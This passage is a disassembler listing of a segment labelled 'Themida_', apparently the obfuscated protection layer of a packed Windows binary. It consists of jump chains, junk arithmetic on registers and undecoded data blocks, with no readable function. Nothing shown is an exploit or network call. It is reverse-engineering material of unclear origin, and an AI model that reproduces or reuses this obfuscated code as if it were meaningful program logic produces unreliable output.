		dd 8850D1F6h, 88D8F6C8h, 89E958C1h, 0F7FFFF5Eh,	0F7CB87D1h
		dd 0F38143DBh, 0C8C40943h, 1C8BDA89h, 4C48324h,	7746E953h
		dd 4A5EFFFFh, 282BEA81h, 0D1291EE2h, 240C875Ah,	0FFBAD2E9h
		dd 248B66FFh, 496EE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A0EE:				; CODE XREF: Themida_:00553620j
		shr	ch, 8
		jmp	loc_54F54F
; ---------------------------------------------------------------------------
		dw 0E953h
		dd 0FFFFD691h, 31243C33h, 3C33243Ch, 24248B24h,	24048966h
		dd 0FFFD51E9h, 0F7D6F7FFh, 3CF681D6h, 0F71E3B50h, 50C5E9D6h
		dd 5451FFFFh, 0FF5053E9h, 80C3B3FFh, 0EBD043C3h, 0C09EEB80h
		dd 0D3F603EBh, 8ADC380h, 0DAF65BDAh, 0E91DB151h, 713h
		dd 0EF81CF29h, 28132ED0h, 5FFD8959h, 1865ED81h,	0F5817983h
		dd 77F33B8Ah, 0D7C4C581h, 0E8016701h, 83242C8Bh, 62E904C4h
		dd 0FEFFFFF2h, 0FEDEF6C6h, 8EB050C6h, 0E0C0102Ch, 5E8C002h
		dd 0E604B204h, 0C6089D34h, 0A1F68058h, 0FF9B48E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55A195:				; CODE XREF: Themida_:0055AE7Fj
		sub	esi, 0B080E6DBh
		sub	edx, esi
		jmp	loc_553EA3
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 24148B24h, 0FF4DFBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55A1AD:				; CODE XREF: Themida_:005514BFj
		push	esi
		xor	dword ptr [esp], 5EDE3BB6h
		jmp	loc_5561F1
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 43453D39h, 0FFD6E1E9h, 4E581FFh, 0E918DA03h,	0FFFF7189h
; ---------------------------------------------------------------------------


loc_55A1D0:				; CODE XREF: Themida_:00554D3Dj
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_55A723
; ---------------------------------------------------------------------------
		dd 0DF89C389h, 0D2E9585Bh, 8FFFFFC0h, 0AC67E902h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A1EE:				; CODE XREF: Themida_:00550B63j
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_5544A3
; ---------------------------------------------------------------------------
		dd 3CE9815Bh, 89AC4049h, 4F22E9CBh, 3C87FFFFh, 24248B24h
		dd 0BE243489h, 4, 0FF6B41E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55A229:				; CODE XREF: Themida_:00552859j
		push	ebx
		mov	ebx, 5F52580Bh
		not	ebx
		push	ebx
		not	dword ptr [esp]
		pop	ebx
		and	ebx, 116354A4h
		not	ebx
		add	ebx, 11425005h
		add	edi, ebx
		pop	ebx
		jmp	loc_54F0A5
; ---------------------------------------------------------------------------


loc_55A24C:				; CODE XREF: Themida_:005535E3j
		xchg	ecx, [esp]
		jmp	loc_5538C5
; ---------------------------------------------------------------------------


loc_55A254:				; CODE XREF: Themida_:00558288j
		pop	ecx
		sub	esi, 221F2D3Bh
		not	esi
		jmp	loc_55A951
; ---------------------------------------------------------------------------
		dw 0CD31h
		dd 0FF5B5FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55A269:				; CODE XREF: Themida_:00555BE9j
		sub	esp, 4
		jmp	loc_552AD7
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 88h
		dd 0E9211628h, 0FFFFEF39h
; ---------------------------------------------------------------------------


loc_55A27C:				; CODE XREF: Themida_:00557395j
		mov	ebp, [esp]
		push	36C1h
		mov	[esp], ecx
		mov	ecx, esp
		push	edx
		mov	edx, 4
		jmp	loc_55A303
; ---------------------------------------------------------------------------


loc_55A294:				; CODE XREF: Themida_:00559A6Aj
		mov	[esp], ebx
		sub	dword ptr [esp], 0FDB3F03h
		mov	eax, [esp]
		jmp	loc_550955
; ---------------------------------------------------------------------------
		dw 4068h
		dd 0E900000Ch, 0FFFFB773h, 688A6856h, 34FF42B8h, 0C4815E24h
		dd 4, 0E904EEC1h, 0FFFFC43Ch, 0BCBD5543h, 0E90869AFh, 0FFFF557Bh
		dd 62B55166h, 5966EC30h, 0F6D4B551h, 30F580DDh,	0E959EC00h
		dd 0FFFFBB1Bh, 5E6C15Dh, 0F703E6C1h, 5C681D6h, 172602Ch
		dd 3CE95EF0h
		db 0D9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A303:				; CODE XREF: Themida_:0055A28Fj
		add	ecx, edx
		pop	edx
		push	edx
		mov	edx, 4
		sub	ecx, 4DBC70A7h
		add	ecx, edx
		add	ecx, 4DBC70A7h
		jmp	loc_559711
; ---------------------------------------------------------------------------
		db 1
		dd 0DCE958C2h, 1FFFF56h, 0F58158C5h, 2D26F6E5h,	535DE901h
		dd 4BBh, 5BD92900h, 5C240C87h, 0E9243C89h, 0FFFFCC3Dh
		dd 0C581E589h, 4, 0FFD755E9h, 6CBE56FFh, 31C520C5h, 36E95EF3h
		dd 8FFFFE4h, 240C8BEAh,	4C481h,	0CAFE0000h, 431F280h, 2CD02812h
		dd 0E9515A12h, 0FFFF5F7Ah
; ---------------------------------------------------------------------------


loc_55A380:				; CODE XREF: Themida_:00550FD5j
		add	eax, 58BB44EFh
		pop	ecx
		push	1281h
		jmp	loc_55A979
; ---------------------------------------------------------------------------
		dd 570692B8h, 9B2EE90Eh, 0BB53FFFFh, 4,	0FFF6E4E9h, 0EAE950FFh
		db 4Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A3AB:				; CODE XREF: Themida_:0054F435j
		pop	esi
		xchg	edx, [esp]
		jmp	loc_555D52
; ---------------------------------------------------------------------------
		dd 8A240C28h, 0EC83240Ch, 24048904h, 0FFCE2EE9h, 0AFC381FFh
		dd 0F727E101h, 0FF83E9D3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A3D2:				; CODE XREF: Themida_:0055978Bj
		add	bl, ch
		jmp	loc_555734
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 48F5B04h, 7FA6E924h,	405FFFFh, 0E9000000h, 0FFFF8DD8h
		dd 0E908EBC1h, 0FFFF78C3h, 0AE46853h, 14890000h, 0AFAEE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A406:				; CODE XREF: Themida_:0055A51Cj
		add	esi, 4CF7B4EFh
		sub	edx, esi
		pop	esi
		push	4976h
		jmp	loc_559A16
; ---------------------------------------------------------------------------
		db 89h,	2Ch, 24h
		dd 0E729E954h, 0EA29FFFFh, 57DA015Dh, 56790ABFh, 5FFA016Ch
		dd 928E9h, 7D2D5E00h, 0E974970Eh, 0FFFF6D44h, 0E9E189h
		db 8Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A447:				; CODE XREF: Themida_:00558789j
		pop	edi
		shl	edx, 4
		sub	edx, 647009C5h
		add	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		add	edx, ecx
		pop	ecx
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		shr	ecx, 7
		push	3624h
		mov	[esp], edx
		push	esi
		mov	esi, 1B8525BEh
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_559FAE
; ---------------------------------------------------------------------------


loc_55A48D:				; CODE XREF: Themida_:00554590j
		mov	ebp, esi
		pop	esi
		push	ecx
		jmp	loc_54EA95
; ---------------------------------------------------------------------------


loc_55A496:				; CODE XREF: Themida_:0054FFFCj
		mov	esp, [esp]
		add	edi, ebx
		pop	ebx
		shr	edi, 7
		and	edi, 6C3F1930h
		push	esi
		mov	esi, 62B0B85h
		add	esi, 29FE593Fh
		shr	esi, 5
		or	esi, 19040C14h
		xor	esi, 0A242CDEh
		jmp	loc_555F42
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 0E9243C89h, 0FFFF80CDh, 2BDh, 0FFEA0100h, 815D2434h
		dd 4C4h, 0D1E3E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A4E6:				; CODE XREF: Themida_:00556F33j
		add	esp, 4
		pop	esi
		push	edi
		mov	edi, esp
		sub	esp, 4
		mov	[esp], edx
		push	esi
		push	4E757952h
		pop	esi
		xor	esi, 68CB68EAh
		push	ecx
		mov	ecx, 26BE11BCh
		xor	esi, ecx
		pop	ecx
		mov	edx, esi
		pop	esi
		add	edi, edx
		jmp	loc_54ECD1
; ---------------------------------------------------------------------------


loc_55A516:				; CODE XREF: Themida_:005543E9j
		push	esi
		mov	esi, 2418642Ah
		jmp	loc_55A406
; ---------------------------------------------------------------------------
		db 0FFh, 4, 24h
		dd 4532E99Ch, 2B9FFFFh,	57000000h, 0FF65D6E9h, 8B6664FFh
		dd 90686602h, 7816E932h, 5250FFFFh, 4751DBBAh, 5CCA814Ch
		dd 81107477h, 0F12DCFE2h, 0E8F2811Bh, 0F763C41Dh, 81D2F7DAh
		dd 243ADBF2h, 2C81525Eh, 0EC10D624h, 0D6055844h, 8B44EC10h
		dd 0C4812414h, 4, 9102D9BBh, 47FAE925h,	431FFFFh, 24043324h
		dd 0F7240431h, 240487D0h, 81242C8Bh, 4C4h, 46F58100h, 316AA46Ch
		dd 242C8BE8h, 0FF67E1E9h, 35F681FFh, 0E909A578h, 0FFFFC548h
		dd 0F4BD5557h, 0BF3BBE00h, 265B64E8h, 815DEF31h, 0CC2613EFh
		dd 83574F3Ah, 2C8904ECh, 2434FF24h, 0E789575Fh,	4C781h
		dd 0C7810000h, 4, 31243C33h, 3C33243Ch,	0F75D5C24h, 81EF87D5h
		dd 958404EFh, 0E9F8310Ch, 0FFFFE690h
; ---------------------------------------------------------------------------


loc_55A604:				; CODE XREF: Themida_:0055826Ej
		add	esp, 4
		xor	ebx, 437C2D74h
		mov	edi, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_5548B4
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 6A0267CEh, 8BDEE943h, 215BFFFFh, 0CEF2E9C2h,	504EFFFFh
		dd 6004BB8h, 0A687E966h, 5356FFFFh, 8E418D68h, 0CB815B50h
		dd 68DC4EFDh, 2230BE56h, 0F3091C0Ah, 187E9h
		db 0
; ---------------------------------------------------------------------------


loc_55A659:				; CODE XREF: Themida_:00555958j
		add	esp, 4
		jmp	loc_54F81E
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 60h
		dd 0E927F0A8h, 0FFFF6992h, 0FF43EBE9h, 0C6835BFFh, 477AE904h
		dd 0FF54FFFFh, 1C8B2434h, 4C48124h, 0E9000000h,	0FFFFB84Ah
		dd 241CF766h, 0A5BDE99Ch, 0EB81FFFFh, 5FB069B7h, 5E2434FFh
		dd 4C481h, 1C330000h, 241C3124h, 0E9241C33h, 0FFFFC719h
		dd 225EA81h, 0EA017AA7h, 225C281h, 0C2817AA7h, 2863CF6h
		dd 785E95Dh, 0C7830000h, 0BA4AE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A6D6:				; CODE XREF: Themida_:005535A6j
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_55027E
; ---------------------------------------------------------------------------
		db 89h,	0E3h, 52h
		dd 0F32ACBBAh, 0CFBB5317h, 3117F32Ah, 0D3015BDAh, 0E924148Bh
		dd 0FFFFE14Fh
; ---------------------------------------------------------------------------


loc_55A6FC:				; CODE XREF: Themida_:005556C2j
		shr	edi, 5
		shr	edi, 1
		shr	edi, 4
		push	eax
		mov	eax, 0FFF955A9h
		add	edi, eax
		pop	eax
		sub	esi, 679C3D68h
		jmp	loc_5561CE
; ---------------------------------------------------------------------------
		dd 0FFF03059h, 64E92434h
		db 0EFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A723:				; CODE XREF: Themida_:0055A1D7j
		mov	ecx, 1BFC3017h
		mov	ebp, ecx
		mov	ecx, [esp]
		push	ebp
		push	esp
		jmp	loc_553990
; ---------------------------------------------------------------------------
		dd 0B009EE81h, 0F509AD75h, 81DDF75Eh, 300751C5h, 0C2E3E953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A74A:				; CODE XREF: Themida_:00555D60j
		push	83Ah
		mov	[esp], esp
		jmp	loc_55A77B
; ---------------------------------------------------------------------------


loc_55A757:				; CODE XREF: Themida_:00559D06j
		or	eax, eax
		jz	loc_54F8D9
		push	1F88h
		mov	[esp], edx
		push	ebx
		push	ecx
		mov	ecx, 5CAA0F2Dh
		sub	ecx, 201CF4E5h
		mov	ebx, ecx
		jmp	loc_552035
; ---------------------------------------------------------------------------


loc_55A77B:				; CODE XREF: Themida_:0055A752j
		add	dword ptr [esp], 4
		pop	ecx
		jmp	loc_556D49
; ---------------------------------------------------------------------------
		db 33h,	1Ch, 24h
		dd 42CEE95Ch, 540FFFFh,	29BE5F1Bh, 0FF7224E9h, 1BEA80FFh
		dd 148BD500h, 0E0895024h, 405h,	40500h,	4870000h, 0CDFE5C24h
		dd 0FFDEE4E9h, 4E2C1FFh, 0FFD88FE9h, 241C87FFh,	0FF4425E9h
		dd 0F1015EFFh, 189AE981h, 0BDE90991h
		db 0DEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A7D7:				; CODE XREF: Themida_:00559E13j
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_55B046
; ---------------------------------------------------------------------------
		dd 8324348Bh, 0F38104C4h, 7CDE6FF9h, 89DA8952h,	7E5AE9D6h
		dd 0D001FFFFh, 0E02D7A05h, 0E7D0528h, 0EC837497h, 49EAE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A80A:				; CODE XREF: Themida_:0055572Fj
		pop	ebx
		jmp	loc_54FA41
; ---------------------------------------------------------------------------
		dd 4BA52h, 0EE810000h, 41541FCBh, 58BDC681h, 0CE90216h
		dd 81000005h, 9C360EC2h, 0E9CA010Eh, 0FFFFEFE3h, 0D4E5EB81h
		dd 0D901E436h, 0FF694DE9h, 6DC281FFh, 0E9296006h, 0FFFF4FADh
; ---------------------------------------------------------------------------


loc_55A84C:				; CODE XREF: Themida_:00553DE7j
		xor	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], cx
		jmp	loc_552936
; ---------------------------------------------------------------------------
		db 0FEh
		dd 0B4E180C1h, 0FF988EE9h, 3EE80FFh, 685AF000h,	66E3h
		dd 0FFF418E9h, 0CA814AFFh, 5D5D3B68h, 0FF7398E9h, 0CBBE56FFh
		dd 8114037Dh, 0F02B9EE6h, 0E5C68170h, 87F72A3Eh, 87D3F7DEh
		dd 92E957DEh, 0B5FFFF65h, 58C53006h, 0E904EDC0h, 0FFFF51C7h
		dd 80DAB652h, 0E6C053C6h, 0E9C6FE06h, 0FFFFDAE3h, 4E0468ADh
		dd 2C890000h, 4CAE924h,	34FF0000h, 0D685824h, 8900002Fh
		dd 0EC83243Ch, 24248904h, 0FFF069E9h, 2BAFFh, 0D7010000h
		dd 0E924148Bh, 534h
; ---------------------------------------------------------------------------


loc_55A8F0:				; CODE XREF: Themida_:005561D8j
		or	edi, 24EB7D9Ah
		not	edi
		inc	edi
		sub	edi, 0F377C4D9h
		add	esi, edi
		pop	edi
		pop	edi
		add	esi, 2
		xchg	esi, [esp]
		mov	esp, [esp]
		shr	word ptr [esp],	cl
		pushf
		jmp	loc_54EA5C
; ---------------------------------------------------------------------------
		dw 2C8Bh
		dd 0E3895324h, 4C381h, 0C3810000h, 4, 31241C33h, 1C33241Ch
		dd 0EC815C24h, 4, 0BB241C89h, 63A8AC5Ch, 0FFCA32E9h, 1BBAB9FFh
		dd 0CB31BC4Ch, 0FF48FDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55A951:				; CODE XREF: Themida_:0055A25Dj
		not	esi
		sub	esi, 0DE06E9CCh
		add	edi, 6A6E3D14h
		add	edi, esi
		sub	edi, 6A6E3D14h
		pop	esi
		add	edi, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		jmp	loc_55AE84
; ---------------------------------------------------------------------------


loc_55A979:				; CODE XREF: Themida_:0055A38Bj
		mov	[esp], eax
		push	dword ptr [esp+4]
		jmp	loc_556DB5
; ---------------------------------------------------------------------------
		db 66h,	0Fh, 0AFh
		dd 9C5166C8h, 0FF40CBE9h, 340104FFh, 6C7E9D1h, 0C4830000h
		dd 4E1DE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A9A2:				; CODE XREF: Themida_:00556E89j
		pop	eax
		add	edi, 7439680Eh
		inc	edi
		shr	edi, 5
		and	edi, 89F5768h
		xor	edi, 891504h
		add	ebp, edi
		pop	edi
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		add	edx, edi
		push	6EF7h
		mov	[esp], edi
		push	ebp
		push	0ABD03EEh
		pop	ebp
		dec	ebp
		or	ebp, 10E24DD3h
		xor	ebp, 279B4F0Ch
		mov	edi, ebp
		pop	ebp
		jmp	loc_553A7A
; ---------------------------------------------------------------------------
		dd 582434FFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, 52511B99h
		jmp	loc_555DE0
; ---------------------------------------------------------------------------
		dw 0E950h
		dd 0FFFF9C62h, 0C6815E54h, 4, 4C681h, 34870000h, 0E2C15C24h
		dd 35F28104h, 0E9113908h, 0FFFFC0A3h
; ---------------------------------------------------------------------------


loc_55AA24:				; CODE XREF: Themida_:00551B77j
		push	ebx
		push	3051h
		mov	[esp], eax
		mov	eax, 0C2B4846h
		mov	ebx, eax
		jmp	loc_5577BB
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 4A30F5Ch, 15E99C24h
		db 40h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55AA47:				; CODE XREF: Themida_:00559945j
		mov	eax, 4
		add	ebp, eax
		pop	eax
		xchg	ebp, [esp]
		jmp	loc_5504A8
; ---------------------------------------------------------------------------
		db 5Fh
		dd 5C240C87h, 0E9243489h, 708h
; ---------------------------------------------------------------------------


loc_55AA64:				; CODE XREF: Themida_:00556218j
		sub	ecx, edi
		jmp	loc_555FC0
; ---------------------------------------------------------------------------
		db 68h
		dd 27C6568Eh, 8EAC15Ah,	0FFA7CEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55AA79:				; CODE XREF: Themida_:00550460j
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		shr	ecx, 6
		push	5338h
		jmp	loc_555A3E
; ---------------------------------------------------------------------------
		dd 0C941E952h, 0C483FFFFh, 40B66804h, 3C890000h, 26F0BF24h
		dd 0C1E96143h, 31FFFFC1h, 31D531EAh, 6F281EAh, 0C132F07Ch
		dd 0C28103E2h, 826C57F2h, 0FF9B72E9h, 24248BFFh, 9C2424D3h
		dd 0FF3F83E9h, 4EC81FFh, 89000000h, 0B5BD242Ch,	0E9410771h
		dd 0FFFF9806h, 465AD689h, 0FFCBAAE9h, 2C481FFh,	4000000h
		dd 0E9F88668h, 0FFFFD0A2h, 40C18149h, 816DAA63h, 0EE359FC1h
		dd 28EA81B7h, 0E935BE60h, 0FFFFB971h
; ---------------------------------------------------------------------------


loc_55AB1C:				; CODE XREF: Themida_:00558F97j
		not	esi
		add	esi, 0A8185078h
		and	edx, esi
		mov	esi, [esp]
		add	esp, 4
		sub	edx, 4026208Eh
		jmp	loc_554408
; ---------------------------------------------------------------------------
		dw 665Ch
		dd 2404BB0Fh, 3F16E99Ch, 0C481FFFFh, 4,	384F6853h, 0C890000h
		dd 4EC8324h, 0BA241489h, 611D6D48h, 58ADBB53h, 0D9892C15h
		dd 0FFE238E9h, 0E9E120FFh, 0FFFFACC7h, 0B850C329h, 7B500721h
		dd 3591EB81h, 0C3013DDDh, 0FF7768E9h, 573F2DFFh, 83E95085h
		dd 66FFFFFDh, 660002BDh, 2246C01h, 242C8B66h, 0FFEFBEE9h
		dd 48B66FFh, 2C48324h, 8FC0B60Fh, 98E98704h, 81FFFF50h
		dd 46BE79EEh, 0CCC9E9A8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55ABC2:				; CODE XREF: Themida_:00559D36j
		add	edi, 4
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		and	eax, ebx
		pop	ebx
		or	eax, eax
		jz	loc_559A65
		push	1BFCh
		mov	[esp], ebx
		push	23F7h
		mov	[esp], esi
		push	71445B5Dh
		pop	esi
		shr	esi, 4
		sub	esi, 1
		push	1A19h
		mov	[esp], eax
		push	edi
		mov	edi, 141D5969h
		mov	eax, 556EBE4Ah
		push	edx
		mov	edx, 2B401ABh
		jmp	loc_5589E8
; ---------------------------------------------------------------------------
		db 54h,	0E9h, 0A3h
		dd 59FFFFD2h, 8004C483h, 0E6806DC6h, 0FC33E9B2h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55AC32:				; CODE XREF: Themida_:00558EC2j
		push	eax
		jmp	loc_554C31
; ---------------------------------------------------------------------------


loc_55AC38:				; CODE XREF: Themida_:0055186Bj
		push	edx
		mov	edx, esp
		jmp	loc_5531BD
; ---------------------------------------------------------------------------


loc_55AC40:				; CODE XREF: Themida_:005557DAj
		mov	ebp, 36B233C7h
		add	ebp, 0DF35F75Eh
		push	ecx
		mov	ecx, 6E527C85h
		sub	edx, ecx
		pop	ecx
		add	edx, ebp
		add	edx, 6E527C85h
		pop	ebp
		sub	edx, 37F52BCDh
		push	ecx
		mov	ecx, 0
		add	ecx, 74836ADh
		sub	ecx, edx
		sub	ecx, 74836ADh
		xchg	ecx, edx
		pop	ecx
		push	edi
		jmp	loc_54EC08
; ---------------------------------------------------------------------------


loc_55AC80:				; CODE XREF: Themida_:00555023j
		not	dword ptr [esp]
		pop	eax
		xor	eax, 68297CDAh
		xor	eax, 0B163FABFh
		add	esi, eax
		mov	eax, [esp]
		add	esp, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		or	eax, eax
		jnz	loc_54F0A9
		push	1
		push	dword ptr [esp]
		jmp	loc_5502E4
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 565B5924h, 0FFDDD8E9h, 0E9E829FFh, 0FFFFFEC5h, 795EE381h
		dd 0D3F74715h, 0FFB2DBE9h, 0C8B66FFh, 4EC8324h,	68243C89h
		dd 3B1Dh, 81242489h, 42404h, 535F0000h,	0DB6D70BBh, 9AF3E92Ah
		dd 0CB29FFFFh, 0E9240C8Bh, 0FFFFA1F4h, 70D4C381h, 814B77B8h
		dd 0C17DB1C3h, 0F4A8E90Dh, 15BFFFFh, 0D3D7E9E8h, 0CE01FFFFh
		dd 24343359h, 0FF5850E9h, 24248BFFh, 89242C89h,	0A4E950E5h
		dd 1FFFF68h, 0BDEE81D6h, 81021658h, 541FCBC6h, 0C6815A41h
		dd 4, 8503E956h, 68BAFFFFh, 0B93E8852h,	2C55CEF1h, 0FFBE5FE9h
		dd 0C7B951FFh, 817A1335h, 697B1FF1h, 76B4E93Dh,	5B54FFFFh
		dd 0A041E957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55AD76:				; CODE XREF: Themida_:00558D1Cj
		or	ebp, 42C2623h
		jmp	loc_5596B3
; ---------------------------------------------------------------------------
aUschd		db '-*uéCh¤#',0
		dw 8900h
		dd 0E9532414h, 0FFFFE889h, 5328DCBDh, 0E9505379h, 0FFFFA9D5h
; ---------------------------------------------------------------------------


loc_55ADA0:				; CODE XREF: Themida_:00553412j
		add	eax, 4
		push	2D50h
		mov	[esp], ecx
		jmp	loc_557F15
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	eax
		mov	eax, 43773E6Dh
		inc	eax
		neg	eax
		neg	eax
		not	eax
		xor	eax, 0BC88C195h
		add	ebp, eax
		jmp	loc_5563B2
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 2434FF24h, 7348E959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55ADDA:				; CODE XREF: Themida_:0054F18Dj
		mov	ecx, 70DC26F2h
		xor	ecx, 15785F28h
		not	ecx
		not	ecx
		xor	ecx, 65A479DEh
		jmp	loc_551BA0
; ---------------------------------------------------------------------------
		dd 81241C89h, 4ECh, 24048900h, 0FF8417E9h, 8AE281FFh, 0E923D344h
		dd 0FFFFB04Dh
; ---------------------------------------------------------------------------


loc_55AE10:				; CODE XREF: Themida_:loc_553564j
					; Themida_:00557187j ...
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_55301F
; ---------------------------------------------------------------------------
		dd 0E95DEF89h, 0FFFFDD78h, 4C481h, 3C870000h, 24248B24h
		dd 0A2E9F1F6h
		db 75h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55AE37:				; CODE XREF: Themida_:00557256j
		mov	[esp], ebx
		push	1
		push	dword ptr [esp]
		jmp	loc_54FD7E
; ---------------------------------------------------------------------------
		db 8Bh
		dd 3CD22424h, 9E99C24h,	53FFFF3Ch, 0FFD59DE9h, 33C280FFh
		dd 0F656CA80h, 0E95066D2h, 0FFFFE769h, 0B82A272Dh, 0E5C2E976h
		dd 0C681FFFFh, 0B906320Fh, 0FFED89E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55AE7D:				; CODE XREF: Themida_:00551C54j
		not	esi
		jmp	loc_55A195
; ---------------------------------------------------------------------------


loc_55AE84:				; CODE XREF: Themida_:0055A974j
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ecx
		push	1
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_559CA1
; ---------------------------------------------------------------------------


loc_55AE9E:				; CODE XREF: Themida_:005558DCj
		pop	ecx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5570CE
; ---------------------------------------------------------------------------
		db 59h
		dd 0FFE28FE9h, 0EC8151FFh, 4, 0BB241C89h, 438D7AEEh, 81E18951h
		dd 4C1h, 4E98300h, 5C240C87h, 0FFFDD1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55AEE1:				; CODE XREF: Themida_:005589E3j
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		and	eax, ecx
		push	dword ptr [esp]
		jmp	loc_551CA7
; ---------------------------------------------------------------------------
		dw 59E9h
		db 3Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55AF03:				; CODE XREF: Themida_:0055931Fj
		pop	ebp
		jmp	loc_551ED2
; ---------------------------------------------------------------------------


loc_55AF09:				; CODE XREF: Themida_:005577C0j
		mov	edi, 46462647h
		add	ebx, edi
		pop	edi
		shr	ebx, 5
		dec	ebx
		sub	ebx, 2DF5245h
		jmp	loc_54F13E
; ---------------------------------------------------------------------------


loc_55AF20:				; CODE XREF: Themida_:00553EA4j
		add	edx, 42557D37h
		dec	edx
		or	edx, 5D6A1484h
		push	edx
		inc	dword ptr [esp]
		pop	edx
		add	edx, 818024h
		push	edx
		jmp	loc_54FD62
; ---------------------------------------------------------------------------


loc_55AF3E:				; CODE XREF: Themida_:0055AFD1j
		mov	edi, esp
		jmp	loc_558436
; ---------------------------------------------------------------------------
		db 8Bh,	1Ch, 24h
		dd 5604C483h, 0E904EC83h, 0FFFFD0E0h
; ---------------------------------------------------------------------------


loc_55AF54:				; CODE XREF: Themida_:0054ED49j
		mov	edi, 22E1D256h
		sub	edi, edx
		jmp	loc_558E77
; ---------------------------------------------------------------------------


loc_55AF60:				; CODE XREF: Themida_:00552B83j
		add	esp, 4
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	ebx
		mov	ebx, 1
		push	eax
		mov	eax, 24h
		add	eax, edi
		add	[eax], ebx
		jmp	loc_557885
; ---------------------------------------------------------------------------


loc_55AF7F:				; CODE XREF: Themida_:00556C35j
		push	ebp
		mov	ebp, 0B8F19CE6h
		add	eax, ebp
		pop	ebp
		xor	edx, eax
		pop	eax
		mov	eax, edx
		pop	edx
		add	esi, eax
		pop	eax
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		or	eax, eax
		jz	loc_551E32
		push	edx
		mov	edx, 1Ch
		jmp	loc_558F5D
; ---------------------------------------------------------------------------


loc_55AFAE:				; CODE XREF: Themida_:00550190j
		sub	esi, ebp
		jmp	loc_5556D7
; ---------------------------------------------------------------------------


loc_55AFB5:				; CODE XREF: Themida_:0054EC44j
		sub	ebp, 5F1406CAh
		pop	ebx
		xchg	ebp, [esp]
		jmp	loc_55160F
; ---------------------------------------------------------------------------
		dd 5557555Fh, 0FF96FAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55AFCD:				; CODE XREF: Themida_:00550314j
		add	esp, 4
		push	edi
		jmp	loc_55AF3E
; ---------------------------------------------------------------------------
		dw 48Fh
aLH@g		db '$‹$$h@G',0
		dd 24048900h, 0E904EC83h, 0FFFF97BFh, 9D1C77FFh, 1CD35966h
		dd 61E99C24h, 68FFFF3Ah, 3700h,	0E9240C89h, 0FFFFBDE1h
		dd 2434FF54h, 5DE95658h, 5FFFFF7Ah, 0C8BCB01h, 4C48324h
		dd 56E08950h, 0C08BE955h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B026:				; CODE XREF: Themida_:00550D5Dj
		or	al, 52h
		jmp	loc_54FC86
; ---------------------------------------------------------------------------
